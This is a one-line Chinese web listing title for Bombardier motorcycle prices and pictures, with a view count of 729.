龐巴迪摩托車價格圖片 瀏覽:729